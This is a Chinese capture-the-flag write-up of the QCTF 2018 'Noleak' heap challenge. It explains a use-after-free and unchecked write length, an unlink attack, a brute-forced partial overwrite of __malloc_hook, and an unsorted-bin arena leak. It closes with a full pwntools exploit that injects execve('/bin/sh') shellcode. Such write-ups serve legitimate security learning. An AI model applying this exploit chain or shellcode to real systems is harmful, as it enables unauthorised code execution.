XCTF 4th-QCTF-2018——Noleak分析

Noleak的题目分析

2020-02-13 21:52:33 by hawkJW


题目附件、ida文件及wp链接


   这道题考察的比较综合,设置到方方面面的知识点,这里记录一下


  1.  程序流程总览

首先,还是老规矩,看一下保护情况

  可以看到,RELRO保护全开,则没有办法修改got表了,同时开启了Canary保护,栈溢出可能也有一定困难;但是我们看到,有NX没有开启,且PIE是关闭的。所以保护措施还是比较一般的。下面我们具体看一下程序的流程

实际上,我们发现这个流程还是比较简单的,和不同的菜单题目十分相似,有创建、更新以及删除选项。但是不同的是,没有显示选项,也就是说,我们实际上没法获取运行时具体的内存等的分布情况。


 

2.  漏洞

  实际上,这个漏洞是一个综合漏洞——就是设置多方面的知识。下面我们一一进行介绍。

  首先浏览程序源代码。实际上,基本没有什么可利用漏洞,但是仍然发现了——free掉函数之后并没有置0,也就是UAF,如图所示

  但是实际上仅仅没有置0能做的事情还是有限的,这里还有配合的漏洞部分。

也就是,当我们准备 update() 的时候,对于输入的大小并没有检查。那么通过UAF以及这个可以写入任意长的数据的漏洞,就可以做很多事情了——可以修改通过 malloc 获取的chunk的详细信息了。

我们还需要在注意一下,简单介绍一下整个程序的数据结构部分。

如图所示,实际上有一个buf数组,每次通过 create() 生成一个实例,该实例实际上就是由 malloc() 生成的一个chunk块,当然,在buf数组中存放的是实际上可写的部分,也就是chunk块的头部之后的地址。这就是程序的大体结构。下面我们继续分析漏洞。

  首先正如程序名字所表明的,该程序没有回显,没有办法通过leak来进行构造。因此,我们实际上需要做的,是通过可以预见的地址或是程序行为来实现的一个漏洞。我们先尝试分析一下什么是可以预见的程序行为以及漏洞——由于没有开启PIE,因此所有的代码段、全局未出世变量段以及数据段等都是固定不变的,也就是可预见的;所有程序的机制,例如malloc的内存分配机制以及free的内存管理机制等仍然是固定的;由于系统采用的是页式管理,所以任何地址的16进制的后三位都将保持不变。当然,也可能有更多的可预见的部分,但是,我们的漏洞将主要利用到这三点。

  那么第一点,上面的数据结构的地址,buf的值首先都是固定且不变的。而且由于程序的漏洞,buf数组中的每一个地址都可以写任意长度的数据,也可以进行 free() 操作,实际上,有了这些,我们可以进行unlink攻击,实现任意地址的写入——具体如何实现unlink攻击,我们将在后面的漏洞利用中描述。

  好了,我们实现了任意地址的写,但是看起来并没有什么用——我们想要往got表中写入 system 函数的地址,但是这需要got表的地址,但是由于没有回显函数,这又是一件比较困难的事情。看似问题走上了无解,实则解决方案隐藏在 malloc 函数中。实际上,malloc机制中的unsorted bin、small bins以及large bins中的双向链表中的第一个chunk以及最后一个chunk中的 fd\bk 字段,都指向了一个结构(类型为malloc_state,变量名称为arena)的固定偏移的位置,而在这个结构之上的固定偏移位置,则是 __malloc_hook 的地址(其值被默认设置为null),那么我们清楚,如果我们将 __malloc_hook 的值改变为某一代码段的地址,则当我们调用 malloc 函数的时候,会变成直接执行 __malloc_hook 所指向的代码。介绍了上面这些,实际上大体的思路就出来了——由于释放的chunk我们还能在写入,因此我们可以修改被释放的chunk的 fd、bk 字段,从而让buf中含有伪造的chunk,并且通过让该伪造的chunk成为双向链表中的第一个或最后一个,从而让其 fd/bk 字段中的值为对应结构的偏移,这是由于任何地址的后3位保持不变,则我们可以通过覆盖的方式来覆盖掉 fd/bk 的2字节(因为只有16进制地址的后三位不变,而2字节则是后四位,因此这里需要爆破一下),使该值变为 __malloc_hook 的地址。而由于这个chunk是在buf中伪造的,因此,我们可以向其中,也就是对应的 fd/bk 字段所指向的地址写入内容。此时我们在利用之前通过unlink得到的任意地址写入的能力,向一个固定地址写入一段shellcode,并将该固定地址的值写入到对应的 __malloc_hook 中,也就是 fd/bk 所指向的地址中即可。此时,我们只需要在调用一次 malloc ,即可以执行该shellcode,从而获得shell!

  当然,可能还是有点抽象,我将在漏洞利用中,进而具体的进行讲解。


3.  漏洞利用

  我们先简单介绍一下unlink的实现方式。如果我们有如下的条件

如果我们有一个指针,其指向一块内存,且可以写入足够长的数据;我们还可以 free address2处的chunk(chunk2的大小不属于fast bins),那么我们就可以执行unlink攻击,我们首先向指针所指向的内容写如下的内容,从而在指针所指向的地方伪造处一个chunk,如图所示

  我们在address1 + 2 * SIZE_SZ处构造了一个chunk,并且输入的长度溢出到了chunk2的头,从而使伪造的chunk与chunk2成为合法的物理上相邻的chunk,需要注意的是,如果此时我们释放chunk2,那么按照unlink机制,其将合并伪造的chunk,也就是先检查伪造chunk是否满足

chunk->fd->bk == 伪造chunk &&伪造chunk->bk->fd == 伪造chunk

,如果通过的话,在执行

伪造chunk->fd->bk == 伪造chunk->bk;
伪造chunk->bk->fd == 伪造chunk->fd;

那么,如果我们让伪造chunk的 fd 字段的值为 (&ptr)-3*SIZE_SZ ,令伪造的chunk的 bk 字段的值为 (&ptr)-2*SIZE_SZ ,那么我们代入就会发现,可以顺利通过检验,并且最终会有 ptr = (&ptr)-3*SIZE_SZ ,那么我们只需要输入 '\x00‘ * 3 * SIZE_SZ + address ,则此时ptr中所指向的内容变成了address,而由于之前说的,我们可以向ptr中所指向的地址写入,因此,我们可以向address中写入内容。这就实现了unlink攻击。

 

下面我们在Noleak中应用unlink攻击,我们首先使用两个create,buf中的结构变成如图所示

 

 实际上,现在正好符合我们所说的,unlink的条件,首先ptr,也就是图中的0x601040,而chunk2,其地址也就指的是0x601048中的值,即0x6020b0。那么,按照之前所说的,我们输入对应的payload,结果如下

我们成功的在chunk1中构造了一个和chunk2物理上相连的伪造chunk,且伪造chunk中的 fd、bk字段也符合前面所讲的,因此,我们释放掉chunk2,从而实现unlink攻击,如图所示

可以看到,首先,确实将buf——也就是ptr的值改变为了ptr - 3 * SIZE_SZ;第二,chunk2与伪造chunk确实进行了合并,因为chunk2物理相邻的下一个chunk就是top,因此皆合并如了top中。

 

下面,我们我们再次向ptr所指向的内容——buf - 3 * SIZE_SZ中输入,让buf[1]中的值指向buf,以此可以随时进行任意地址的写入;让buf[0]的值指向其他地址固定的大片内存,从而放入shellcode,如图所示

好了,大体上的任务就基本结束了——但是还剩下一个最为重要的,就是获取 __malloc_hook 的地址。这里还是按照上面的漏洞利用中所说的,通过在buf中构造一个伪造chunk,并通过 free ,将该伪造chunk变为unsorted bin中的双向链表中的第一个或最后一个,从而让该chunk中的一些字段——或者说buf中的一些下标中含有arena,再通过地址覆盖,从而实现获取到 __malloc_hook 

实际上,构造伪造的chunk,在上面已经构造好了——在地址0x601060处,实际上就是一个伪造的chunk,下面我们首先获取到一个unsorted bin中的chunk,如图所示

此时,如果我们将0x602010处的chunk的 bk 字段中的值设置为伪造chunk的地址,那么,如果我们在malloc一个和0x602010处的chunk同样大小(经过转换的,实际请求的大小应该是chunk的大小减去0x8),那么根据malloc的机制,伪造的chunk将成为unsorted bin中的唯一一个bin,那么必然的,其对应的字段将包含arena的地址。如图所示

此时,如果我们申请一个和0x602010一样大小的chunk,那么

如我们之前所分析的一样,unsorted bin中只剩一个chunk,也就是那个伪造的chunk,而该伪造的chunk中的fd字段,也就包含这偏离arena固定的距离的地址——至于为什么是fd字段,这个设计malloc分配,再具体的,就是unsorted bin是如何进行分配的机制,感兴趣的可以自己在认真阅读一下malloc的源代码,这里就不在讲了——因为再讲文章就太长了。

好了,此时我们在看一下 __malloc_hook 的地址到底是多少

当然,虽然每一次的地址都是变化的,但正如前面所分析,地址的16进制的后三位是始终不变的,而我们发现,实际上 __malloc_hook 的地址和我们获取到的那个地址也仅仅是后三位不一样,那么,问题一下就变得简单起来了——因为buf[1]中的地址是buf,那么我们可以通过想buf[1]中的地址写入数据,从而来覆盖掉0x601070处地址的2个字节——即0x601070处地址的16进制的后4位。但是由于位数不一样,因此,最终0x601070处的地址很可能与 __malloc_hook 的地址不是一样的,会相差16进制地址的倒数第四位,那么怎么办呢?实际上,如果有回显的话,就不出现这种问题。但是由于没有回显,则我们只能进行爆破,让我们写入的地址恰好碰撞上 __malloc_hook 的地址。如果碰撞上后,就很简单了,将shellcode的地址,即0x601020写入到 __malloc_hook 即可。这样也就完成了漏洞利用。

 

具体的就不多说了,贴上完整的wp

#coding:utf-8

from pwn import *

#context.log_level = 'debug'

debug = 1

lib = ELF('./Noleak_libc')


def wp_create(size, data):
	r.recvuntil('Wellcome To the Heap World\n')
	r.send('1'.ljust(8, '\x00'))

	r.send(str(size).ljust(8, '\x00'))

	r.send(data.ljust(size, '\x00'))

	
def wp_delete(index):
	r.recvuntil('Wellcome To the Heap World\n')
	r.send('2'.ljust(8, '\x00'))

	r.send(str(index).ljust(8, '\x00'))

def wp_update(index, data):
	r.recvuntil('Wellcome To the Heap World\n')
	r.send('3'.ljust(8, '\x00'))

	r.send(str(index).ljust(8, '\x00'))
	
	r.send(str(len(data)).ljust(8, '\x00'))

	r.send(data)

def wp_exit():
	r.recvuntil('Wellcome To the Heap World\n')
	r.send('4'.ljust(8, '\x00'))

def wp_main():
	#	指的是能包括__malloc_hook的fastbin的低三位地址
	__malloc_hook_fastbin_l3b = (lib.symbols['__malloc_hook'] & 0xfff) | 0x1000
	bss_address = 0x0000000000601020

	#	unlink攻击,  buf[0] = buf[-3]
	wp_create(0x98, 'a')		#index:0
	wp_create(0x98, 'a')		#index:1
	wp_update(0, p64(0x0) + p64(0x91) + p64(0x0000000000601040 - 0x18) + p64(0x0000000000601040 - 0x10) + p64(0) * 7 * 2 + p64(0x90) + p64(0xa0))
	wp_delete(1)			# buf[0]值为0x601020	buf[1]值为buf
	wp_update(0, p64(0) * 3 + p64(bss_address) + p64(0x0000000000601040) + p64(0) * 0x3 + p64(0x20))
	wp_create(0x100, 'a')		#index:2
	wp_create(0x100, 'a')		#index:3
	wp_delete(2)
	wp_update(2, p64(0) + p64(0x0000000000601040 + 0x8 * 4))
	wp_create(0x100, 'a')		#index:4

	wp_update(1, p64(bss_address) + '/bin/sh\x00' + p64(0) * 4 + p64(__malloc_hook_fastbin_l3b)[:2])

	wp_update(6, p64(bss_address))
	
	

	shellcode = "\x48\x31\xc0\x48\xc7\xc0\x3b\x00\x00\x00\x48\x31\xff\x48\xc7\xc7\x48\x10\x60\x00\x48\x31\xf6\x48\x31\xd2\x0f\x05"
	
	wp_update(0, shellcode)

	r.recvuntil('Wellcome To the Heap World\n')
	r.send('1'.ljust(8, '\x00'))

	r.send(str(0x20).ljust(8, '\x00'))
	
	for i in range(0x20):
		r.recv(timeout = 0.1)


while True:
	try:
		log.info("[*] try to crack-------\n")

		if debug == 1:
			r = process('./Noleak')
			gdb.attach(r)
			pause()	# 进行下断点
		else:
			r = remote('111.198.29.45', 45427)

		wp_main()
		r.interactive()
		break
	except EOFError:
        	r.close()
		continue

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值